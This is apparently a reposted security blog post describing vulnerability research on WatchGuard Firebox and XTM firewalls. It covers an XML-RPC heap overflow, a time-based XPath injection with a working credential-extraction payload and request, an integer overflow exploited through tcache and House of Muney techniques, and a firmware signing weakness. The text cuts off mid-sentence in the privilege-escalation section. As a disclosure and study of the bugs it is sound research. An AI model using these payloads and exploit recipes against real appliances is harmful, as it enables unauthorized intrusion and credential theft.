Source :- https://tutorialboy24.blogspot.com/2022/09/the-blind-exploits-to-rule-watchguard.html

Preface

Early this year, WatchGuard firewalls have been under attack multiple times, most notably by the Russian APT Sandworm and their malware, Cyclops Blink. Over the course of 4 months, the editor released three firmware updates, patching numerous critical vulnerabilities.

Coincidently, this was when I started looking for bugs in such firewalls for a red team engagement. This started a race against the clock: I needed to find a vulnerability - and make an exploit work - before a patch was released. Coincidentally, most of the vulnerabilities were blind, while knowledge was critical: despite having the same firmware, WG devices run on different CPU architectures and libc versions.

This blog post will follow the journey in which I discover 5 vulnerabilities - 2 patched along the way - and build 8 distinct exploits, and finally obtain an unpatched pre-authentication remote root 0-day on every WatchGuard Firebox/XTM appliance.

Introduction

Initial foothold

In 2021, while performing a red team engagement, my colleagues found a camera with weak credentials on our client's external network and managed to escalate the bug to RCE. To their disappointment, however, the camera could only reach one machine in the internal network: a firewall of the WatchGuard Firebox brand. Since I had a few days free, they asked me if I could have a quick look at it, and see if there were no low-hanging fruits.

Watchguard offers two main brands, Firebox and XTM appliances. Both come with various models (Firebox T10, T15, M440, M500, etc.), various computer architectures (x86_64, AARCH, PowerPC), and obviously, various firmware versions.

We weren't sure about the precise version of the target, but since the client was very serious security-wise, we expected it to be fully updated. A few queries on static files of the exposed HTTP interfaces confirmed it.

There was no way to find out the precise model or architecture however, so since the constructor also made its appliances available as a VMware virtual machine, I decided these were problems for later and imported the last version of the FireboxV VM into VirtualBox.

Attack surface

Watchguard firewalls expose two web interfaces: a standard "user" interface on ports 80/443, and an administration interface on ports 8080 / 4117. At the time, a quick Shodan search showed thousands of the latter, blatantly exposed on the internet.

This administration interface is built from a cherrypy python backend, but every sensitive action is done by sending XML-RPC requests to a C binary called wgagent. The binary runs in 64 bits, is not PIE, and is partial-RelRO; the system, however, has ASLR. Citing Wikipedia:

XML-RPC is a remote procedure call (RPC) protocol that uses XML to encode its calls and HTTP as a transport mechanism.

The only pre-authentication endpoint is /agent/login, to... authenticate. Here's an example authentication attempt:

POST /agent/login HTTP/1.1
Content-Type: text/xml

<methodCall>
    <methodName>login</methodName>
    <params>
        <param>
            <value>
                <struct>
                    <member>
                        <name>password</name>
                        <value><string>readwrite</string></value>
                    </member>
                    <member>
                        <name>user</name>
                        <value><string>admin</string></value>
                    </member>
                    <member>
                        <name>domain</name>
                        <value><string>Firebox-DB</string></value>
                    </member>
                    <member>
                        <name>uitype</name>
                        <value><string>2</string></value>
                    </member>
                </struct>
            </value>
        </param>
    </params>
</methodCall>

Although the authentication was properly implemented (no logic bugs), this already felt like a very interesting attack surface: XML parsed using C.

XML-RPC parsing

XML-RPC expects a method name and parameters of various types and returns a response.

Parameters can be scalars, numbers, strings, dates, or more complex types like structures. You can think of the structure type as an associative array, like a dict in python. Each key-value pair is called a member.

The target, wgagent, always expects a single parameter with a "structure" type. If we go back to the example request, we can see this parameter, which contains a structure made of 4 members:

<params>
    <param>
        <value>
            <struct>
                <member> <!-- First member: "password" -> "readwrite" -->
                    <name>password</name>
                    <value><string>readwrite</string></value>
                </member>
                <member> <!-- Second member: "user" -> "admin" -->
                    <name>user</name>
                    <value><string>admin</string></value>
                </member>
                <member>
                    <name>domain</name>
                    <value><string>Firebox-DB</string></value>
                </member>
                <member>
                    <name>uitype</name>
                    <value><string>2</string></value>
                </member>
            </struct>
        </value>
    </param>
</params>

Internally, the binary uses libxml2 to parse the input. It produces a C structure containing the name of the XML-RPC method and a linked list of parameters, which themselves contain a linked list of members, xmlrpc_member.

struct xmlrpc\_member {
    xmlrpc\_member\* next;
    char\* key;
    char\* value;
    unsigned int value\_len;
}

The XML-RPC request above would yield 4 members:

NAME VALUE VALUE_LEN
password readwrite 9
user admin 4
domain Firebox-DB 10
uitype 2 1

Every C structure and character buffer gets allocated dynamically, on the heap.

To send binary data, such as new firmware or encrypted files, member values can also be sent as base64 using the following construct:

<member>
    <name>some-key</name>
    <value><base64>c29tZSB2YWx1ZQ==</base64></value>
</member>

Additionally, to reduce the size of the POST data, the whole XML-RPC request can be gzip-compressed.

While looking at the implementation of the state machine, the first vulnerability erupted.

Primitive

While parsing the XML, wgagent keeps track of its current position by storing the XPath of the current XML tag in a buffer located in the .bss, named current_xpath. For instance, while parsing the login request1, current_xpath would successively have the values /methodCall, /methodCall/methodName, /methodCall/params, ..., /methodCall/params/param/value/struct/member/name, and then /methodCall/params/param/struct, /methodCall/params/param, etc.

When entering a new XML tag, the router concatenates a / and its name to the previous current_xpath value using strcat(). When parsing an exit tag, a NULL byte is written to replace the last / value.

For instance, here are the successive values while parsing (⊙ NULL BYTE):

           -- current_xpath ------------------
⊙ 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
/A⊙ 2F 41 00 ?? ?? ?? ?? ?? ?? ?? ?? ??
/A/B⊙ 2F 41 2F 42 00 ?? ?? ?? ?? ?? ?? ??
/A/B/C⊙ 2F 41 2F 42 2F 43 00 ?? ?? ?? ?? ??
/A/B⊙C⊙ 2F 41 2F 42 00 43 00 ?? ?? ?? ?? ??
/A⊙B⊙C⊙ 2F 41 00 42 00 43 00 ?? ?? ?? ?? ??
⊙A⊙B⊙C⊙ 00 41 00 42 00 43 00 ?? ?? ?? ?? ??

However, the implementation is lazy: there's no bound check. By sending an XML document with a huge XML tag, strcat() writes out of bounds.

This bug comes with a few limitations:

we can only send characters that are a valid XML tag (a-z, 0-9 for instance, but not ? or,), and NULL bytes.

current_xpath is very close to the end of the BSS; nothing of interest comes after it in this section.

Luckily for us, security mitigations are not up to date. This solves both our problems:

Since the binary is not PIE, a lot of its addresses are known, and can be written in alphanumeric characters (for instance, 0x414450 would be PDA followed by 5 null bytes)

Since randomize_va_space is set to 1, right after the BSS comes the heap, which we can overwrite.

The glibc (ptmalloc) of the appliance I had was at version 2.28, which supports tcache with no mitigations. As such, the first chunk of the heap segment is the tcache array (tcache_perthread_struct). However, the tcache is very much solicitated while the XML is being parsed (lots of allocations of various sizes), and overwriting anything but the first tcache bin (for chunks of size 0x20) yields a crash.

As a result, the primitive comes down to being able to overwrite the tcache pointer for chunks of size 0x20 with alpha-numeric characters.

Exploitation

While parsing the XML-RPC parameters, the binary will allocate a member structure to store a name, value, and the current size of the value. If a member has been parsed completely ( and tags have been parsed), and no has been provided, the member and its value are freed. Otherwise, the program will process the request, return a response, and then free every member (and their name/value). As such, we can:

Allocate chunks of any size (by sending a member value), with any contents (by sending this value as base64)
Allocate and immediately free chunks of any size (by sending an unnamed member)
Change the first tcache entry to an alphanumeric value (by overflowing)

This is really good, as it allows us to write 0x20 (or less) arbitrary bytes at an address, as long as said address can be represented in alphanumeric. Since the binary is partial-RelRO, we can look to overwrite the GOT entry for free() with the system(), and then free arbitrary data to execute system commands. Sadly, the GOT address of free(), 0x4263a8, is not representable with our charset: we can't just change the tcache and point to it.

Using the free space in between current_xpath and the heap, we can however build fake chunk headers, in order to point to them with the tcache pointer we control. Just to demonstrate, here's how we'd "encode" the header for a chunk size of 0x50:

<...>
    <Q> <!-- 0x51 -->
        <AAAAA />
        <AAAAA />
        <AAAA />
        <AAA />
        <AA />
        <A />
    </Q>
</...>

And would produce the following successive values in current_xpath:

                  -- current_xpath ------------------
/...⊙ 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
/.../Q⊙ 2F 51 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0x????????????0051
/.../Q/AAAAA⊙ 2F 51 2F 41 41 41 41 41 00 ?? ?? ?? 0x0041414141412F51
/.../Q/AAAA⊙⊙ 2F 51 2F 41 41 41 41 00 00 ?? ?? ?? 0x0000414141412F51
/.../Q/AAA⊙⊙⊙ 2F 51 2F 41 41 41 00 00 00 ?? ?? ?? 0x0000004141412F51
/.../Q/AA⊙⊙⊙⊙ 2F 51 2F 41 41 00 00 00 00 ?? ?? ?? 0x0000000041412F51
/.../Q/A⊙⊙⊙⊙⊙ 2F 51 2F 41 00 00 00 00 00 ?? ?? ?? 0x0000000000412F51
/.../Q⊙⊙⊙⊙⊙⊙⊙ 2F 51 00 00 00 00 00 00 00 ?? ?? ?? 0x0000000000000051
/...⊙Q⊙⊙⊙⊙⊙⊙⊙ 00 51 00 00 00 00 00 00 00 ?? ?? ?? 0x0000000000000051
                     -- chunk header ------- ------------------
                                                           \ chunk header (qword)

Therefore, we create two overlapping chunks of size 0x50 like so:

We use the overflow to:
- Create a fake chunk header of size 0x50, C1, and another one 0x20 bytes underneath, C2. Both these fake chunks have ASCII-representable addresses.
Change the 0x20 tcache entry and make it point to C1
Create an unnamed member of size 0x18, which will allocate then free C1, putting it in the 0x50 tcache list
Using the overflow again, make C1->next = C2
Create a member value of size 0x48; it gets allocated in C1, overwriting the beginning of C2, including its ->next pointer. Make C2->next = free@got.
Create another 0x48 chunk, which goes into C2. The next tcache 0x50 entry is now free@got.
Allocate another 0x48 chunk and overwrite the free@got with wgut_system(), a system wrapper.
Trigger free() with some arbitrary data to get code execution.

Testing the target

A nice, clean 0day in a few hours of work, perfect. We went on to test it on the target and... nothing happened. Puzzled, we went back to the constructor's website to check if we had the right firmware. We didn't: a new version had been released 3 days after we downloaded the firmware, patching the vulnerability.

Although the vulnerability had been patched for months, it did not get a CVE until after (February 2022). It is now very much documented: documented by Greynoise, write-up by Asset Note, POC.

Vulnerability #2: Time-based XPath injection

This was but a small set-back, and maybe one to learn from: I vowed to monitor updates from now on. In any case, why go for a binary exploit when we can't know the precise model, firmware, and computer architecture ? I went on to look for logic bugs.

Primitive

I had a look at a wgcgi, which handles the "standard" VPN login interface running on port 443.

Users can log in using various authentication services such as an LDAP server, the device's user database (Firebox-DB), an Active Directory, etc. To do so, the client sends, through an HTTP POST request, its credentials along with a name identifier for the authentication server (Firebox-DB, SOMECORP.LAN, etc.). wgcgi then checks if the authentication server exists, and connects to it to verify the credentials.

Like most of the configurations of the appliance, the one for authentication servers is stored in an XML file: to process the request, wgcgi will obtain the configuration of the requested authentication server using an XPath query on the configuration file.

  cfgapi\_setnode(v3, "/profile/auth-domain-list");
  snprintf(s, 0x160uLL, "//auth-domain-list/auth-domain/type[../name=\"%s\"]", name);
  if ( (unsigned int)cfgapi\_getint(v4, s, &v6) )
    ...

The variable name is the name of the authentication server, as provided by the user. Its contents are not checked or sanitized before being included in the xpath query, which results in an XPath injection.

Here's how an unauthenticated user can reach the bug:

POST /wgcgi.cgi HTTP/1.1
Host: 10.138.51.24

fw_username=toto
&fw_password=b
&fw_domain=Firebox-DB" and INJECTION and "
&submit=Login
&action=fw_logon
&fw_logon_type=mfa_response
&lang=en-US
&mfa_choice=3
&response=3

The XPath injection allows us to query the contents of the XML file, and potentially obtain master credentials for the authentication servers. Sadly, since we don't have valid credentials, the CGI will always return a generic error, independently from the result of the XPath query. We have an injection, but no way to obtain the result because the response does not depend on it. This excludes the standard exploitation methods for XPath injections: through output, and blind.

Exploitation

As for SQL injections, if there's no output, we can go with time-based exploits.

Sadly, at the time, time-based Xpath injections did not seem to be a thing: after a few Google searches, I only managed to find a Denial of Service payload, documented in the W3C XML Signature Best Practices.

count(//. | //@* | //namespace::*)

The logic is simple: make the parser go through every possible node and attribute to slow the execution down. This obviously requires the XML document to be rather big, which was not the case here. To make things worse, the xpath API had version 1.0, so they weren't many functions to put to use.

By trial and error, I discovered that we could make the computation exponential using global selectors in predicates:

PAYLOAD TIME
count((//.)) 00.000022
count((//.)[count((//.))]) 00.000791
count((//.)[count((//.)[count((//.))])]) 00.116801
count((//.)[count((//.)[count((//.)[count((//.))])])]) 21.747945

A DOS payload, even for small documents! I just needed to make this conditional:

Firebox-DB" and <condition> and count((//.)[count((//.)[count((//.))])]) and "a"="a

Example payload:

Firebox-DB" and substring((//search-user-pwd),1,1)="A" and count((//.)[count((//.)[count((//.))])]) and "a"="a

A new XPath injection technique, compatible with XPath version 1.0: time-based XPath injection !

Testing the target

I had a data bug, involving no binary exploitation, 0-day, and valid on any appliance. There was no way this was going to fail, and it did not: the exploit worked fine.

This was, however, a dead end: while we were hoping to find admin LDAP credentials in the configuration file, the authentication domain was bound with no credentials, and as such no password was available.

The bug can be found as CVE-2022-31790 and WSGA-2022-00017.

Vulnerability #3: Integer overflow leading to heap overflow / UAF

Since there was nothing to steal in the configuration, and I could not find any way to bypass the authentication, I had to go back to binary. It was fine since I didn't explore much of the code yet; I was confident I could find another bug.

Int overflow

To understand this one, we need to go into more detail about the implementation of the XML-RPC parser.

As said before, wgagent extracts members from the XML-RPC request as a triple: (name, value, value_len). Here's an example XML representation for a member and its corresponding C structure:

<member>
    <name>some-key</name>
    <value><string>Some value</string></value>
</member>


struct xmlrpc\_member {
    xmlrpc\_member\* next;
    char\* key;
    char\* value;
    unsigned int value\_len;
}


(xmlrpc_member) $3 {
    .next = NULL,
    .key = "some-key",
    .value = "Some value",
    .value_len = 9
}

To collect these values, the program defines callback functions for when an XML tag is opened, closed, or when characters are received. It then parses the XML in chunks of size 99999 bytes using xmlParseChunk() (libxml2), and repeats the operation until the whole document has been read.

As a consequence, if we were to send a member value whose length is superior to 99999, it would necessarily be parsed over two calls to xmlParseChunk(). To be able to handle such cases, the program is able to append new data to a value as it gets received:

/\*\*
 \* Callback that is called when XML data is received.
 \* Example: <tag1>abcd</tag1> -> characters("abcd", 4)
 \*/
void characters(state\_data\_struct state\_data, char to\_append, int append\_len) {
    [...]
    switch(state\_data->state) {
        case IN\_MEMBER\_VALUE:
            // Adds additional data to the value field of the current member
            xmlrpc\_member member = state\_data->current\_member;
            member->value = realloc\_concat\_405615(member->value, member->value\_len, to\_append, append\_len);
            member->value\_len += append\_len; // [5]
            break;
    }
    [...]
}

The realloc_concat_405615() function simply computes the full size required for new_value, and reallocs the original heap buffer. It then appends the new data through a memcpy() call, adds a terminating null byte, and returns the new buffer. Here's the simplified implementation:

char \*\_\_fastcall realloc\_concat\_405615(char \*value, int value\_len, char \*to\_append, int append\_len)
{
 1: \_BYTE \*new\_value; // [rsp+20h] [rbp-10h]
 2: int new\_size;
 3:
 4: new\_size = value\_len + 1 + append\_len + 1;
 5: new\_value = realloc(value, new\_size);
 6:    
 7: if ( !new\_value )
 8: return value;
 9:    
10: memcpy(&new\_value[value\_len], to\_append, append\_len);
11: new\_value[value\_len + append\_len] = 0;
12:
13: return new\_value;
}

For instance, if we send a value which consists of the A character, repeated 12000 times, we would have two calls to xmlParseChunk(): the first one would allocate a buffer of, for instance, 8002 bytes (using realloc(NULL, 8002)), and set value_len to 8000. The second would then increase the size of the buffer (using realloc(member->value, 12002)), and increment value_len to 12000.

xmlParseChunk(...) // "...<member><name>...</name><value><string>AAAAAAAAA..."
    // First call to characters(): member->value is NULL
    characters("AAAAA..AAA", 8000)
        member->value = realloc\_concat(NULL, 0, "AAAAA..AAA", 8000)
        member->value\_len = 8000
xmlParseChunk(...)
    // Second call to characters(): additional data gets appended
    characters("AAAAA..AAA", 4000) // "...AAAAAAAAAAA</string></value>"
        member->value = realloc\_concat(member->value, 8000, "AAAAA..AAA", 4000)
        member->value\_len = 12000

Now, the realloc_concat_405615() function presents a few bugs: first, if the realloc() call (line 5) returns NULL, the original pointer is returned (line 8). Also, value_len and append_len are signed integers, and if value_len + 1 + append_len + 1 (line 4) is negative, it gets sign extended to fit a size_t for the realloc() call (line 5), and as such becomes a huge value. A third bug happens right after the realloc_concat() call: even if the reallocation fails, value_len is incremented (last line of characters()).

Primitives

Let's see what happens if we send an XML document that contains a member with a value of size ~ 4 GB. Remember, we can send the XML document as GZIP, so it does not take too long.

Internally, realloc_concat() will get called thousands of times, reallocating the buffer, and value_len then gets incremented.

For the first 2GB of data, realloc_concat() will function normally: the buffer gets reallocated (it gets bigger by 99999 bytes each time), and value_len reflects its size.

After 2GB however, new_size (L4) becomes bigger than INT_MAX: it gets negative. Since realloc() expects a size_t has its second argument, new_size gets sign-extended, yielding a huge size_t value. This causes the call to fail: realloc() returns NULL, and does not change the original buffer (value). realloc_concat() then returns the original buffer, without making the memcpy() call (L8). Right after, member->value_len still gets incremented.

From 2GB to 4GB, the behavior is the same: realloc() call keeps failing, because new_size is still a negative integer. The original 2GB buffer is unchanged, but member->value_len keeps increasing.

After a while, we reach a critical point where new_size overflows: it becomes superior or equal to zero, while value_len is still negative. The realloc() call succeeds again, but the memcpy() call (L10) writes at address new_value + value_len, i.e. before the allocated buffer.

This gives us two primitives:

If we send 4GB - 2 bytes of data, the last realloc call will be realloc(chunk_of_size_2GB, 0), causing the chunk to be freed. realloc() will return NULL, as it should, and as such realloc_concat() will then return the address of the now-freed buffer, producing a use-after-free.
If we send 4GB - 16 bytes of data, and then 16 bytes or more (say 26), the last realloc() call will be realloc(chunk_of_size_2GB, 10), but the memcpy() calls that follow will begin 16 bytes before the allocated buffer. This gives us a way to overwrite the chunk header of new_value.

Both primitives, however, can only be triggered on chunks whose size is around 2GB; chunks of this size are allocated through mmap(), and freed using munmap().

In addition, no data sent to the binary is ever echoed back in the HTTP response: we have to work without leaks.

From now on, we'll refer to the two primitives, respectively, as the UAF primitive and the header-rewrite primitive.

Standard attacks on mmapped chunks and "House of Muney"

When malloc() creates an mmapped chunk, it stores a 16 bytes header containing a prev_size (8 bytes) and a size | flags (8 bytes). The flags are always IS_MMAPPED. size and prev_size are both page aligned (0x1000 granularity).

For instance, calling malloc(0x40300) would result in the following header:

----------------------
  prev_size | size
 0x00000000 | 0x41002
----------------------

While size indicates the size of the chunk, prev_size indicates the number of pages before the region. For standard usage, the prev_size field is always zero. When free() is called on a mmapped chunk p, it calls munmap_chunk(p), which unmaps the region from p - prev_size to p + size.

int free(void\* address) {
    // 
    void\* chunk\_address = address - 0x10;
    size\_t prev\_size = prev\_size(chunk\_address);
    size\_t size = chunk\_size(chunk\_address);
    munmap(chunk\_address - prev\_size, prev\_size + size);
}

As an attacker, controlling the header of an mmapped chunk thus allows us to clear any region of memory, as long as we know its relative position to the chunk. For instance, let's say we have a chunk at address 0x7f0000004000, and the libc at address 0x7f0000406000. If we want to clear the first 2 pages of the libc, we can set prev_size and size like so:

offset = libc\_address - mmapped\_chunk\_address # 0x402000
prev\_size = - offset # 0xffffffffffbfe000
size = 0x2000 - prev\_size = 0x2000 + offset # 0x404000

Our chunk header looks like this:

-------------------------------
 prev_size | size
 0xffffffffffbfe000 | 0x404000
-------------------------------

Now, why would be unmap part of the libc ?

This is actually an attack that has been done before by Qualys security team (dubbed later "House of Muney").

In short, .dynsym is a section that contains a list of symbols of a library, along with offsets at which to find them. When ld needs to resolve a function that has never been called yet, say __ctype_b_loc(), it'll use the section to find the offset of __ctype_b_loc() in the libc. It'll then add this offset to the base address of the libc, and call it.

The attack goes like this:

change the header of a mmapped chunk and free it to unmap the .dynsym section of the libc,
allocate a chunk to replace it,
and call a libc function that has not been called yet.

To resolve the address of the function, and will read the fake section, and read an offset chosen by the attacker. It'll then add the library base address to that offset, and call the function: this gets you RIP.

The attack is very elegant, also because it does not require a leak. The only required piece of information is the offset between the victim chunk and the libc. This is a problem for us: in our case, this offset is very variable, as we'll explain in the next section.

Growing Chunks Problems

If we create a member value of ~2GB, what will its address be, relative to the base address of the libraries?

Since mmap() simply creates new regions on top of other regions (unless there are holes), this might seem trivial to compute: if we allocate a chunk of 2GB, its address will be 2GB less than the one of the last loaded library:

0x7f0180406000 ---- CHUNK --------------
                                       } 2GB
0x7f0200406000 ---- libnss.so ----------
0x7f0200412000 ---- libjson.so ---------
0x7f020042a000 ---- libc.so ------------
...
0x7f020051b000 ---- ld.so --------------
0x7f020051b000 -------------------------

<hole>

0x7fff....... ---- stack --------------

But the difficulty, in our case, comes from the fact that buffer is not allocated straight up to its maximum size: it grows slowly from a few kilobytes to 2GB. To end up with such a chunk, the program will allocate a few bytes (99999), then a few more (99999 * 2), and more (99999 * 3), until it reaches 2GB. This might seem trivial, but it very much complexifies the process: we don't have a single malloc() of size 2GB, but a succession of realloc()s, slowly increasing the size of our buffer.

Let's follow the successive properties of such a growed buffer. At the beginning, since it is pretty small, it gets allocated in the main arena. At some point, though, it gets too big to be stored in the heap, and realloc() calls mmap() to create an mmapped chunk. After this, when we realloc the buffer, it will internally call mremap().

Now, this "breaking point" size, where realloc() creates an IS_MMAPPED chunk and discards the original buffer in the main heap, is not set in stone: the libc will only resort to calls to mmap() when there is no other possibility. If there is enough space to reallocate the buffer in the arena, it will do so. As a result, it depends on the current state of the heap, which we don't know on a remote target.

You would be right to think that this "breaking point" size does not vary too much. However, even a few bytes have disastrous effects.

Let's briefly cover the logic mmap uses to increase the size of the region (i.e. when mremap() is called):

If there is enough space under the region, just use this space to extend the region.
If there is not enough space, create a new region of the expected size and remove the old region.

As an example, let's say chunks grow of 0x19000 (=~ 99999) bytes on each xmlParseChunk() iteration , and that the breaking point size is 0x400000.

We send a huge value (~2GB) through XML-RPC. The first reallocations are done on the main heap, up until the breaking point size, which forces the call to mmap().

As a result, the IS_MMAPPED chunk sits on top of the libraries (Fig 1).

When the next realloc() happens, the region needs to grow in size from 0x400000 to 0x419000 (0x19000 =~ 99999). The new chunk ends up on top of the previous one, and the latter gets unmapped (Fig 2).

On the next realloc() call (with size 0x432000), mremap() just increases the size of the mmapped region, because the gap underneath is enough to fit the new size (Fig 3). It does so until the gap becomes inferior to 0x19000 in size (Fig 4, 5), at which point it needs to repeat the process and create a new region on top of the last one, and unmap the latter (Fig 6).

Now, why is this important ?

Let's say we want to allocate 2GB to trigger one of our primitives. realloc() first uses the main arena, up until the breaking point where it needs to mmap(). The chunk then grows to 2GB through thousands of calls to mremap(). Now, if the size of the chunk when it is first mmapped is 0x400000, the final offset from our final 2GB chunk to the libraries is 0x81af6000. If the size is 0x401000, the final offset is 0x833e7000. That's a difference of 6385 pages, for an initial size difference of a single page.

Throughout my tests, I realised that stabilising the size of the first mmapped chunk proved very hard, and very much impossible on remote targets, where we don't have a clue about the heap state.

Capping the mmap_threshold variable was no use by itself either, because allocations are serviced through unsorted chunks first.

But I'm rambling: since the appliance runs libc 2.28, which supports tcache, exploitation is easy, right ?

Exploit #3.1: UAF, chunk overlap, and tcache

By triggering the UAF primitive, we can make two chunks overlap, and use the second chunk to fake the header for the first one. Here's how:

We create a 2GB chunk C0 (Fig 1). We trigger the UAF (by sending ~4GB), and the chunk gets unmapped. We then allocate a small mmapped chunk P, and another chunk of size ~2GB, C1. This way, C1 overlaps with the now-freed C0.

Due to the multiple realloc calls necessary to produce mmapped chunks, the offsets in between each chunk and the libraries are unknown, but the padding buffer P and the size of C1 almost surely guarantee that C1 overlaps with C0's chunk header.

At the beginning of each page of C1, we write a fake chunk header of size 0x260. The pointer to the now-unmapped C0 is now a pointer to a 0x260 chunk. After the program has processed the XML-RPC request, it proceeds to free C0; it reads the fake header, and C0 gets inserted into the tcache. C1 then gets freed normally, (munmap()), and we are left with the tcache entry for 0x260 pointing into unmapped memory (Fig 3).

We then send, using another XML-RPC request, another padding chunk P', and another 2GB chunk C2 (Fig 4). C2, like C1, overlaps with C0, which allows us to change the ->next pointer of 0x260 tcache chunks to an arbitrary address.

Again, although the exploit is blind, the binary has no PIE, and as such base addresses are known. We then make ->next point to the tcache_perthread_struct, on top of the heap region. When we allocate chunks of size 0x260, we are able to control the whole structure and get total control over subsequent allocations. The execution flow can then be hijacked to get code execution cleanly.

I verified the constructor's website: no new firmware, no advisory about an int overflow. Good to go. So, I ran the exploit on the target, and it crashed.

Taking a step back

At this point, I had a 0day that worked for every single Firebox model in my lab. However, it did not work on the target.

To debug my exploit on some random appliance with default credentials and clear my head, I went on to look for a post-authentication root exploit.

Vulnerability #4: Post-authentication root shell

Administrators can upload new firmware and modules through the administrative interface. Both files are in a proprietary format. The files are constituted of a header followed by gzip-compressed data. A signature is present, but it is trivial to figure out the key (hint: it starts with Watch and ends with Guard!) and compute signatures for arbitrary firmware and modules.

I was fast able to build a fake module that returned a root shell.

Sadly, time was against me again: two days later, WatchGuard released a new firmware addressing multiple vulnerabilities relative to firmware updates, killing the bug. This also caused most of the appliances exposed over the internet to disappear.

Luckily, this gave me an idea as to why my previous exploit was failing.

Exploit #3.2: Legacy addressing

While testing for the authenticated remote root exploit, I realized that when WG's debug module was imported on a device, /proc/sys/vm/legacy_va_layout would be set to 1, falling back to legacy addressing. Legacy addressing would map mmapped regions from lower addresses to higher instead of from higher to lower.

In such a mode, it is trivial to build an exploit, as mmapped regions can increase in size freely (since there is nothing underneath).

Therefore, we allocate three chunks in a row, C0, C1, and C2. C0 and C1 are pretty small, but C2 has a size of 2GB (Fig 1).

We use our header-rewrite primitive to rewrite C2's prev_size, to point a few pages before C1. When C2 gets freed, C1 gets unmapped with C2, along with the bottom of C0 (Fig 2). We can then allocate another small chunk, C3, which overlaps with C1's header (Fig 3). We now control C1's header using C3. We can then repeat the same exploitation technique as before, where we create a fake tcache entry and make it point at the beginning of the heap.

I was pretty confident that the exploit was going to work on the target: I had exhausted every possible target setup. But again, it did not.

The big reveal: Attacking XTM boxes

I went back to exploit #3.1 and tried to understand where it messed up. Replacing C0's header with any chunk size produced a crash when it was freed unless the modified chunk header had the IS_MMAPPED flag.

Therefore, C0 did really overlap with C1, but chunks weren't inserted into the tcache. This seemed impossible at the time because Fireboxes were all shipped with glibc 2.28.

As a last hope, I went back to the constructor website and iterated over the available Firebox models. At the very bottom of the list, there was firmware for XTM firewalls.

Turns out, firmware-wise, an XTM is like a Firebox: it runs the same binaries, with the same functionalities and bugs, and exposes the same static CSS/JS files. But with a crucial difference: its libc has version 2.19. No tcache.

Exploit #3.3: House of Muney

I finally had the firmware of the target device. The integer overflow bug was there as well. I just needed an exploit for this specific libc version.

Sadly, libc-2.19, unintuitively, is harder to exploit than its 2.28 sister. The tcache is very useful for attacker as it avoids standard consistency checks. Even worse, due to the size of the chunks we're playing with, malloc_consolidate() gets called very often, merging chunks and moving fastbin chunks, our last hope for an easy exploitation, to unsorted chunks.

I tried pulling off House of Muney, but it was a dead end: the distance between our victim chunk and the libc would change over each attack, and with even a single page difference in the offset, the exploit would overwrite the wrong part of the libc, and we'd only get a crash.

Exploit #3.4: House of Muney, with a twist

An old libc behavior would, however, come to the rescue.

In realloc_concat(), when new_size becomes negative (L4) and causes realloc()'s second argument to be a huge size_t, the libc 2.19 panics and creates a new arena to fit the chunk in it uses mmap() to create a memory region of size 64MB whose base address is aligned with 0x4000000, and the current thread gets assigned the arena as its main arena: future allocations will take place there.

Obviously, the chunk won't fit: its size is colossal, and the maximum size for an arena is 64MB. This new arena, however, proves very useful for exploitation.

Indeed, by triggering the integer overflow, we get a new heap, just for ourselves. Just what we need: the state of the previous heap was unknown, but this one is brand new ! As a consequence, we can now reliably predict the "breaking point" size, the size at which a chunk first gets reallocated using mmap().

At this point, I can consistently force mmap to be called when a chunk reaches the size of 0x200e000 bytes. This is, however, not enough to pull of House of Muney: the offset between the 0x200e000-bytes chunk and the libc would still vary, but this time because of the new arena.

Indeed, the base address for an arena is aligned with 0x4000000. This means that a new arena will not get allocated on top of the last loaded library, but at a distance N, with N inferior 64MB.

To trigger primitives, we need to grow our original chunk from 0x200e000 bytes to 2GB, and its distance with the libc will be dependent on the distance between the new arena and the libs, which is (on every new ASLR mapping) random. A dead end, again? No!

By definition, the gap between the end of the arena and the last library, N, is inferior to 64MB (= 0x4000000). This means that we can, at most, fit one 0x200e000 chunk between the two (Fig 1). Let's say N is greater than 0x200e000 and as such, we can create a chunk, C0, in between (Fig 2):

As a result, if we create a new member value C1 of size 0x200e000, it will be allocated right on top of the arena, because the gap between C0 and the arena is too small to fit (Fig 3).

We continue to grow this chunk until it reaches 2GB (Fig 4) (C1'), allowing us to trigger the header-rewrite primitive.

At this point, we know C1''s offset with the arena, P, but not with C0. We know, however, that the distance between the bottom of the arena and C0 is inferior to 0x200d000, as N is inferior to 64MB (0x4000000).

We want to clear 0x200e000 bytes, starting at the last page of the arena. Remember, the header-rewrite primitive allows us to unmap a region of arbitrary size, at an arbitrary offset, because free(C1') calls munmap(C1' - prev_size, prev_size + size). We thus compute prev_size and size:

# Distance from C1' to the last page of the arena
distance = 2GB + P + 64MB - 0x1000
# Number of bytes to clear
size\_to\_clear = 0x200e000

prev\_size = - distance
          = - (2GB + P + 64MB - 0x1000)
size = size\_to\_clear - prev\_size
     = 0x200e000 + (2GB + P + 64MB - 0x1000)

With P = 0x81af6000, for instance:

distance = 2GB + P + 64MB - 0x1000 = 0x105af5000
prev\_size = -0x105af5000 = 0xfffffffefa50afff
size = 0x200e000 - -0x105af5000 = 0x107b03000

Now, remember that if we send a member with no name, it gets freed immediately after the tag has been parsed. We can do so with C1': after its header has been rewritten, it immediately gets freed, and when it gets freed, the libc unmaps 0x200e000 bytes, starting from the last page of the arena. This also destroys an unknown number of pages at the top of C0 (Fig 5).

We're almost done: we can now allocate C2, of size 0x200e000, which fits perfectly in between the arena and what's left of C0 (Fig 6).

Remember the requirements for pulling off House of Muney: we need to overwrite the header of a mmapped chunk and know it's offset with the libraries. We obviously know the offset from C0 to the libraries: the chunk sits on top of them. And we just solved the second requirement: C2 overlaps with C0, allowing us to modify its chunk header. We can pull off House of Muney.

To exploit, we unmap the first few pages of the libc and replace them with an almost exact copy, where we only change the offset of one function if the .dynsym section. I chose to modify the one for __ctype_b_loc() because there was a very unlikely code path to reach this function, so it had a very low chance of having been called before.

And, at long last, the exploit worked on the target.

The vulnerability got assigned CVE-2022-31789 and WSGA-2022-00015. Exploits #3.1 and #3.2 work against every Firebox firewall, and #3.4 against any XTM firewall.

Here's a demonstration of the exploit, which takes approximately 2 minutes:

Vulnerability #5: Nobody to Root Privilege Escalation

Although I had remote code execution, the wgagent process runned as nobody. We needed a final exploit, a way to get root.

Whenever a program crashes on the appliance, a crash report is generated. This is done by the /usr/bin/fault_rep program, which is setuid root. Internally, it calls /usr/bin/diag_snapgen, a python program. Here are the first few lines of the program:

